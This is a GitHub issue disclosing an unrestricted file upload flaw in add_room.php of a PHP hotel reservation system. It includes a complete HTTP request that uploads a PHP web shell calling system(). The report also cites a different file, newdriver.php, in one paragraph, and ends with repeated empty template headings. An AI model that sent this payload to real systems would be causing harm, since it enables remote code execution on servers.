You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
In line 8 of the newdriver.php file, the input obtained through $_FILES is directly used to determine the storage location of the file without verification or cleaning. The specific code snippet is as follows:
Impact
Attackers can exploit this vulnerability for unrestricted uploads, which may lead to file overwrite, file injection, directory traversal attacks, and denial of service attacks. Remote attacks may also result in RCE
DESCRIPTION
wangyuan-ui discovered that the file upload operation was triggered on line 8 of the 'add_room.php' file and the uploaded file was received using the '$_FILES' variable. Due to the lack of appropriate input validation and cleaning, remote attackers can pass malicious payloads through this file upload feature, resulting in unrestricted file uploads, which may further lead to remote code execution (RCE).
Vulnerability details and POC
Payload
POST /admin/add_room.php HTTP/1.1
Host: localhost:8103
Content-Length: 2410
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8103
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1bZEIRhzjIw1vaXA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8103/admin/add_room.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary1bZEIRhzjIw1vaXA
Content-Disposition: form-data; name="room_type"
Standard
------WebKitFormBoundary1bZEIRhzjIw1vaXA
Content-Disposition: form-data; name="price"
11
------WebKitFormBoundary1bZEIRhzjIw1vaXA
Content-Disposition: form-data; name="photo"; filename="rce.php"
Content-Type: image/jpeg
Node: Sorry, due to some encoding reasons, I am unable to use Markdown to store image data with attack payloads here. I will take a screenshot to show
<?php system("ipconfig"); ?>
------WebKitFormBoundary1bZEIRhzjIw1vaXA
Content-Disposition: form-data; name="add_room"
------WebKitFormBoundary1bZEIRhzjIw1vaXA--
I successfully executed the PHP script on the terminal
The text was updated successfully, but these errors were encountered:
Itsourcecode Simple Online Hotel Reservation System in PHP Project With Source Code 1.0 add_room.php Unrestricted Upload
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
AFFECTED AND/OR FIXED VERSION(S)
submitter
Vulnerable File
VERSION(S)
Software Link
PROBLEM TYPE
Vulnerability Type
Root Cause
Impact
DESCRIPTION
Vulnerability details and POC
Payload
I successfully executed the PHP script on the terminal
The text was updated successfully, but these errors were encountered: